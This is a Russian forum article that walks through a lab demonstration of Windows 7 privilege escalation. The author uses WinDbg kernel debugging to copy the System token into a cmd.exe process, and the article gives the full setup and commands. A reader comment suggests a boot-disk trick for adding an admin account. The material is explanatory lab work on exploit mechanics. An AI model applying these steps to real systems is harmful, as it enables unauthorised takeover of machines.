Статья Способ повышения привилегий в Windows 7 путем подмены токена процесса

Существует несколько техник повышения прав. Одна из них – это подмена специального токена пользовательского процесса, указывающего на уровень прав приложения.

Учетная запись пользователя и права доступа, связанные с запущенным процессом Windows, определяются объектом ядра, называемым токеном. Структуры данных ядра, которые отслеживают различные специфичные для процесса данные, содержат указатель на токен процесса. Когда процесс пытается выполнить различные действия, такие как открытие файла, права и привилегии учетной записи в токене сравниваются с требуемыми привилегиями, чтобы определить, следует ли предоставить доступ или запретить.

Поскольку указатель токена - это просто данные в памяти ядра, для кода, выполняющегося в режиме ядра, тривиально изменить его так, чтобы он указывал на другой токен и, следовательно, предоставлял процессу другой набор привилегий.

Эта статья предоставит объяснение эксплойта для повышения уровня привилегий до уровня администратора с помощью windbg.

Подготовка
Отладчик (Debugger) – машина, на которой запускаем отладчик и с которой атакуем (Windows 10 x64 10.0.17763 Сборка 17763)
Отлаживаемый (Debuggee) – виртуальный хост на который направлена атака (Windows 7 x64 6.1.7601 Service Pack 1 Сборка 7601)

1. Устанавливаем Virtualbox и Дополнения гостевой ОС.
2. Монтируем образ Windows 7 и установливаем систему. После инсталяции Windows 7 на виртуальную машину следует создать учетную запись с пользовательскими привилегиями и присвоить пароль Администратору.

Далее требуется осуществить настройку программного обеспечения для отладки, в качестве которого будет выступать windbg.
1. Скачиваем и устанавливаем Windows 10 SDK;

При установке выбираем лишь Debugger tools в раскрывающихся списках.
2. Запускаем WinDBG с правами администратора

Далее нажимаем CTRL+S (File->Symbole file path) и вставляем
Код:
srv*c:\symbols*http://msdl.microsoft.com/download/symbols

Нажимаем CTRL+K (либо открываем File->Kernel Debug->COM)
Вводим следующие параметры:

Код:
Baud Rate: 115200
Pipe: check (отмечено)
Reconnect: Check (отмечено)
Resets: 0
Port: //./pipe/debug

29285


И нажимаем ОК. Откроется новое окно с надписью:
Waiting for pipe //./pipe/debug
Waiting to reconnect...

Настраиваем VirtualBox

ПКМ на предустановленной виртуальной машине -> Настроить… -> Общие -> СОМ-порты

НЕ СТАВИТЬ флажок на «Включить последовательный порт»

Код:
Номер порта: COM1
Режим порта: Хост-канал
Снять флажок с «Подключиться к существующему каналу каналу/сокету»
Путь/адрес: \\.\pipe\debug

Настройка отлаживаемой системы
Теперь запускаем нашу виртуальную машину. Заходим на правах администратора. Вводим в консоль следующие команды. Тем самым создаем новую загрузочную запись.

Код:
bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200
bcdedit /bootdebug on
bcdedit /debug on

Проверяем bcdedit /dbgsettings

29286


Выключаем виртуальную машину. Идем в настройки системы и ставим флажок «Включить последовательный порт»

29287


Запускаем виртуальную машину. Логинимся под учетной записью с ограниченными правами (low).

29288



Немного теории

Каждый Windows-процесс представлен структурой EPROCESS. Кроме многочисленных атрибутов, относящихся к процессу, в блоке EPROCESS содержатся указатели на некоторые структуры данных. Блок EPROCESS и связанные с ним структуры данных существуют в системном пространстве.

Этот подэтап включает девять операций.
  • Создается и инициализируется блок EPROCESS.
  • От родительского процесса наследуется привязка к процессорам.
  • Устанавливаются переменные PsMinimumWorkingSet и PsMaximumWorkingSet, которые отвечают за минимальный и максимальный размеры рабочего набора процесса. Рабочий набор процесса - это совокупность физических страниц, выделенных процессу. Напомним, что под страницей в данном контексте следует понимать блок физической памяти фиксированного размера.
  • Настраивается блок квот на адрес блока квот его родительского процесса.
  • Наследуется пространство имен устройств Windows (в том числе определение букв дисков, СОМ-портов и т. д.).
  • B поле InheritedFromUniqueProcessId нового объекта «процесс» сохраняется идентификатор родительского процесса.
  • Создается основной маркер доступа процесса (копированием аналогичного маркера родительского процесса). Новый процесс наследует профиль защиты своих родителей. Если используется функция CreateProcessAsUser, чтобы задать для нового процесса другой маркер доступа, он соответственно модифицируется.
  • Инициализируется таблица описателей, принадлежащая процессу. Если установлен флаг наследования описателей родительского процесса, наследуемые описатели из его таблицы копируются в новый процесс.
  • Статус завершения нового процесса устанавливается как STATUSPENDING.
Для наглядности можно выполнить в отладчике WinDBG команду dt _EPROCESS (dt отображает на экране информацию о локальных, глобальных переменных и типах данных) и получить в ответ структуру EPROCESS. Интересующая нас информация находится в ячейке памяти со смещением 0x208 (TOKEN).
Код:
kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x160 ProcessLock      : _EX_PUSH_LOCK
   +0x168 CreateTime       : _LARGE_INTEGER
   +0x170 ExitTime         : _LARGE_INTEGER
   +0x178 RundownProtect   : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId  : Ptr64 Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY
   +0x198 ProcessQuotaUsage : [2] Uint8B
   +0x1a8 ProcessQuotaPeak : [2] Uint8B
   +0x1b8 CommitCharge     : Uint8B
   +0x1c0 QuotaBlock       : Ptr64 _EPROCESS_QUOTA_BLOCK
   +0x1c8 CpuQuotaBlock    : Ptr64 _PS_CPU_QUOTA_BLOCK
   +0x1d0 PeakVirtualSize  : Uint8B
   +0x1d8 VirtualSize      : Uint8B
   +0x1e0 SessionProcessLinks : _LIST_ENTRY
   +0x1f0 DebugPort        : Ptr64 Void
   +0x1f8 ExceptionPortData : Ptr64 Void
   +0x1f8 ExceptionPortValue : Uint8B
   +0x1f8 ExceptionPortState : Pos 0, 3 Bits
   +0x200 ObjectTable      : Ptr64 _HANDLE_TABLE
   +0x208 Token            : _EX_FAST_REF
   +0x210 WorkingSetPage   : Uint8B
   +0x218 AddressCreationLock : _EX_PUSH_LOCK
   +0x220 RotateInProgress : Ptr64 _ETHREAD
   +0x228 ForkInProgress   : Ptr64 _ETHREAD
   +0x230 HardwareTrigger  : Uint8B
   +0x238 PhysicalVadRoot  : Ptr64 _MM_AVL_TABLE
   +0x240 CloneRoot        : Ptr64 Void
   +0x248 NumberOfPrivatePages : Uint8B
   +0x250 NumberOfLockedPages : Uint8B
   +0x258 Win32Process     : Ptr64 Void
   +0x260 Job              : Ptr64 _EJOB
   +0x268 SectionObject    : Ptr64 Void
   +0x270 SectionBaseAddress : Ptr64 Void
   +0x278 Cookie           : Uint4B
   +0x27c UmsScheduledThreads : Uint4B
   +0x280 WorkingSetWatch  : Ptr64 _PAGEFAULT_HISTORY
   +0x288 Win32WindowStation : Ptr64 Void
   +0x290 InheritedFromUniqueProcessId : Ptr64 Void
   +0x298 LdtInformation   : Ptr64 Void
   +0x2a0 Spare            : Ptr64 Void
   +0x2a8 ConsoleHostProcess : Uint8B
   +0x2b0 DeviceMap        : Ptr64 Void
   +0x2b8 EtwDataSource    : Ptr64 Void
   +0x2c0 FreeTebHint      : Ptr64 Void
   +0x2c8 FreeUmsTebHint   : Ptr64 Void
   +0x2d0 PageDirectoryPte : _HARDWARE_PTE
   +0x2d0 Filler           : Uint8B
   +0x2d8 Session          : Ptr64 Void
   +0x2e0 ImageFileName    : [15] UChar
   +0x2ef PriorityClass    : UChar
   +0x2f0 JobLinks         : _LIST_ENTRY
   +0x300 LockedPagesList  : Ptr64 Void
   +0x308 ThreadListHead   : _LIST_ENTRY
   +0x318 SecurityPort     : Ptr64 Void
   +0x320 Wow64Process     : Ptr64 Void
   +0x328 ActiveThreads    : Uint4B
   +0x32c ImagePathHash    : Uint4B
   +0x330 DefaultHardErrorProcessing : Uint4B
   +0x334 LastThreadExitStatus : Int4B
   +0x338 Peb              : Ptr64 _PEB
   +0x340 PrefetchTrace    : _EX_FAST_REF
   +0x348 ReadOperationCount : _LARGE_INTEGER
   +0x350 WriteOperationCount : _LARGE_INTEGER
   +0x358 OtherOperationCount : _LARGE_INTEGER
   +0x360 ReadTransferCount : _LARGE_INTEGER
   +0x368 WriteTransferCount : _LARGE_INTEGER
   +0x370 OtherTransferCount : _LARGE_INTEGER
   +0x378 CommitChargeLimit : Uint8B
   +0x380 CommitChargePeak : Uint8B
   +0x388 AweInfo          : Ptr64 Void
   +0x390 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x398 Vm               : _MMSUPPORT
   +0x420 MmProcessLinks   : _LIST_ENTRY
   +0x430 HighestUserAddress : Ptr64 Void
   +0x438 ModifiedPageCount : Uint4B
   +0x43c Flags2           : Uint4B
   +0x43c JobNotReallyActive : Pos 0, 1 Bit
   +0x43c AccountingFolded : Pos 1, 1 Bit
   +0x43c NewProcessReported : Pos 2, 1 Bit
   +0x43c ExitProcessReported : Pos 3, 1 Bit
   +0x43c ReportCommitChanges : Pos 4, 1 Bit
   +0x43c LastReportMemory : Pos 5, 1 Bit
   +0x43c ReportPhysicalPageChanges : Pos 6, 1 Bit
   +0x43c HandleTableRundown : Pos 7, 1 Bit
   +0x43c NeedsHandleRundown : Pos 8, 1 Bit
   +0x43c RefTraceEnabled  : Pos 9, 1 Bit
   +0x43c NumaAware        : Pos 10, 1 Bit
   +0x43c ProtectedProcess : Pos 11, 1 Bit
   +0x43c DefaultPagePriority : Pos 12, 3 Bits
   +0x43c PrimaryTokenFrozen : Pos 15, 1 Bit
   +0x43c ProcessVerifierTarget : Pos 16, 1 Bit
   +0x43c StackRandomizationDisabled : Pos 17, 1 Bit
   +0x43c AffinityPermanent : Pos 18, 1 Bit
   +0x43c AffinityUpdateEnable : Pos 19, 1 Bit
   +0x43c PropagateNode    : Pos 20, 1 Bit
   +0x43c ExplicitAffinity : Pos 21, 1 Bit
   +0x440 Flags            : Uint4B
   +0x440 CreateReported   : Pos 0, 1 Bit
   +0x440 NoDebugInherit   : Pos 1, 1 Bit
   +0x440 ProcessExiting   : Pos 2, 1 Bit
   +0x440 ProcessDelete    : Pos 3, 1 Bit
   +0x440 Wow64SplitPages  : Pos 4, 1 Bit
   +0x440 VmDeleted        : Pos 5, 1 Bit
   +0x440 OutswapEnabled   : Pos 6, 1 Bit
   +0x440 Outswapped       : Pos 7, 1 Bit
   +0x440 ForkFailed       : Pos 8, 1 Bit
   +0x440 Wow64VaSpace4Gb  : Pos 9, 1 Bit
   +0x440 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x440 SetTimerResolution : Pos 12, 1 Bit
   +0x440 BreakOnTermination : Pos 13, 1 Bit
   +0x440 DeprioritizeViews : Pos 14, 1 Bit
   +0x440 WriteWatch       : Pos 15, 1 Bit
   +0x440 ProcessInSession : Pos 16, 1 Bit
   +0x440 OverrideAddressSpace : Pos 17, 1 Bit
   +0x440 HasAddressSpace  : Pos 18, 1 Bit
   +0x440 LaunchPrefetched : Pos 19, 1 Bit
   +0x440 InjectInpageErrors : Pos 20, 1 Bit
   +0x440 VmTopDown        : Pos 21, 1 Bit
   +0x440 ImageNotifyDone  : Pos 22, 1 Bit
   +0x440 PdeUpdateNeeded  : Pos 23, 1 Bit
   +0x440 VdmAllowed       : Pos 24, 1 Bit
   +0x440 CrossSessionCreate : Pos 25, 1 Bit
   +0x440 ProcessInserted  : Pos 26, 1 Bit
   +0x440 DefaultIoPriority : Pos 27, 3 Bits
   +0x440 ProcessSelfDelete : Pos 30, 1 Bit
   +0x440 SetTimerResolutionLink : Pos 31, 1 Bit
   +0x444 ExitStatus       : Int4B
   +0x448 VadRoot          : _MM_AVL_TABLE
   +0x488 AlpcContext      : _ALPC_PROCESS_CONTEXT
   +0x4a8 TimerResolutionLink : _LIST_ENTRY
   +0x4b8 RequestedTimerResolution : Uint4B
   +0x4bc ActiveThreadsHighWatermark : Uint4B
   +0x4c0 SmallestTimerResolution : Uint4B
   +0x4c8 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD
Следует отметить, что для нового запущенного процесса формируется токен, который будет указывать на принадлежность к какой-либо группе с определенным набором привилегий. Группа прав новоиспеченного процесса далека от привилигированных форм.


Практика
Для ознакомления мы запустим командную строку (cmd.exe) со стандартными привилегиями пользователя, а затем с помощью отладчика ядра вручную определим маркер высоко привилегированного системного процесса и дадим запущенному процессу cmd.exe системный уровень привилегии.

29290


Как видите у нас не хватает привилегий.

Загрузив виртуальную машину, отладчик должен показать следующее.

29289


Далее ставим Break (CTRL+Break либо Debug->Break). Внизу становится активной консоль
Код:
KD>

Сначала найдем шестнадцатеричный адрес системного процесса System:
Код:
kd> !process 0 0 System
PROCESS fffffa80018c8040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00187000  ObjectTable: fffff8a000001910  HandleCount: 494.
    Image: System

Выделенная строка указывает на структуру _EPROCESS со многими полями, которые мы можем вывести следующим образом:
Код:
kd> dt _EPROCESS fffffa80018c8040
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x160 ProcessLock      : _EX_PUSH_LOCK
   +0x168 CreateTime       : _LARGE_INTEGER 0x01d4ffe1`f068e91e
   +0x170 ExitTime         : _LARGE_INTEGER 0x0
   +0x178 RundownProtect   : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId  : 0x00000000`00000004 Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`0299e498 - 0xfffff800`02838b90 ]
   +0x198 ProcessQuotaUsage : [2] 0
   +0x1a8 ProcessQuotaPeak : [2] 0
   +0x1b8 CommitCharge     : 0x21
   +0x1c0 QuotaBlock       : 0xfffff800`02816c00 _EPROCESS_QUOTA_BLOCK
   +0x1c8 CpuQuotaBlock    : (null)
   +0x1d0 PeakVirtualSize  : 0xac1000
   +0x1d8 VirtualSize      : 0x44d000
   +0x1e0 SessionProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   +0x1f0 DebugPort        : (null)
   +0x1f8 ExceptionPortData : (null)
   +0x1f8 ExceptionPortValue : 0
   +0x1f8 ExceptionPortState : 0y000
   +0x200 ObjectTable      : 0xfffff8a0`00001910 _HANDLE_TABLE
   +0x208 Token            : _EX_FAST_REF
[...]

Токен представляет собой значение размера указателя, расположенное со смещением 0x208, и мы можем вывести значение следующим образом:

Код:
kd> dq fffffa80018c8040+208 L1
fffffa80`018c8248  fffff8a0`0000404e

Возможно, вы заметили, что в структуре _EPROCESS, поле Token объявлено как _EX_FAST_REF, а не как ожидаемая структура _TOKEN. Структура _EX_FAST_REF - это уловка, основанная на предположении, что структуры данных ядра должны быть выровнены в памяти на 16-байтовой границе. Это означает, что указатель на токен или любой другой объект ядра всегда будет иметь последние 4 бита равными нулю (в шестнадцатеричном формате последняя цифра всегда будет равна нулю). Поэтому Windows может свободно использовать младшие 4 бита значения указателя для чего-то другого (в этом случае счетчик ссылок может использоваться для внутренних оптимизационных целей).
Код:
kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
   +0x000 Object           : Ptr64 Void
   +0x000 RefCnt           : Pos 0, 4 Bits
   +0x000 Value            : Uint8B

Чтобы получить фактический указатель из _EX_FAST_REF, просто измените последнюю шестнадцатеричную цифру на ноль. Для этого программно замаскируйте младшие 4 бита значения с помощью операции логического «И».

Код:
kd> ? fffff8a0`0000404e  & ffffffff`fffffff0
Evaluate expression: -8108898238400 = fffff8a0`00004040

Мы можем отобразить токен с помощью dt _TOKEN или получить другой вывод с помощью команды расширения !token:
Код:
kd> !token fffff8a0`00004040
_TOKEN 0xfffff8a000004040
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
    Attributes - Default Enabled Owner
01 S-1-1-0
    Attributes - Mandatory Default Enabled
02 S-1-5-11
    Attributes - Mandatory Default Enabled
03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
[...]

Обратите внимание, что идентификатор безопасности (SID) со значением S-1-5-18 является встроенным SID для учетной записи локальной системы (см. ).

Следующий шаг - найти структуру _EPROCESS для процесса cmd.exe и заменить указатель токена со смещением 0x208 на адрес системного токена:
Код:
kd> !dml_proc
Address           PID  Image file name
fffffa80`018c8040 4    System
[...]
fffffa80`036d3060 a78  sppsvc.exe
fffffa80`027c2800 aa0  svchost.exe
fffffa80`0283a890 3bc  cmd.exe
fffffa80`01ab6b30 8cc  conhost.exe
fffffa80`01ce7060 894  msinfo32.exe
fffffa80`01d13860 9a4  WmiPrvSE.exe

kd> eq fffffa80`0283a890+208 fffff8a0`00004040

Наконец, перейдите в командную строку и используйте встроенную команду whoami для отображения учетной записи пользователя. Вы также можете подтвердить, запустив команды или получив доступ к файлам, которые, как вы знаете, должны требовать прав администратора.

29291


p.s.

Метод рабочий. Сам скрины делал и проверял все... Пруф не стал записывать. Данный способ используется в некоторых CVE'-шках ... CVE-2018-8120 через разыменование нулевого указателя тырит токен и перезаписывает. Я всего лишь хотел показать сам механизм перезаписи токена =) В реальности конечно же машину чужую так не взломать, так как для включения отладки на Win7 нужны права админа. Но имея доступ на перезапись любого сегмента памяти - получить привилегии вполне реально. На основе этого работают многие эксплоиты повышения привилегий...
 
Последнее редактирование:

Вудеркид

New member
30.01.2018
2
0
BIT
0
Сильно, имеет место быть.
Но сложно) проще имея загрузочный диск переименовать название консоли и запустить ее от системы при загрузке пользователей, а дальше net user add admin pokeda
 

cat_meow_666

Green Team
02.10.2017
62
26
BIT
2
Сильно, имеет место быть.
Но сложно) проще имея загрузочный диск переименовать название консоли и запустить ее от системы при загрузке пользователей, а дальше net user add admin pokeda
а если стоит пароль на биос?
 

GlowFisch

Green Team
26.01.2019
75
82
BIT
0
Сильно, имеет место быть.
Но сложно) проще имея загрузочный диск переименовать название консоли и запустить ее от системы при загрузке пользователей, а дальше net user add admin pokeda
Для подмены токена используются другие уязвимости.. Их рассмотрю дальше... Через разыменование нулевого указателя получают доступ к записи в любую область памяти и т.д.
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Хорошая статья. Но ее надо было размещать в реверсинг разделе, а не в пентесте.
 
  • Нравится
Реакции: GlowFisch
V

Valkiria

Мне одной кажется, что сегодня кто-то, проснувшись, встал не с той ноги ?
 
  • Нравится
Реакции: GlowFisch
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!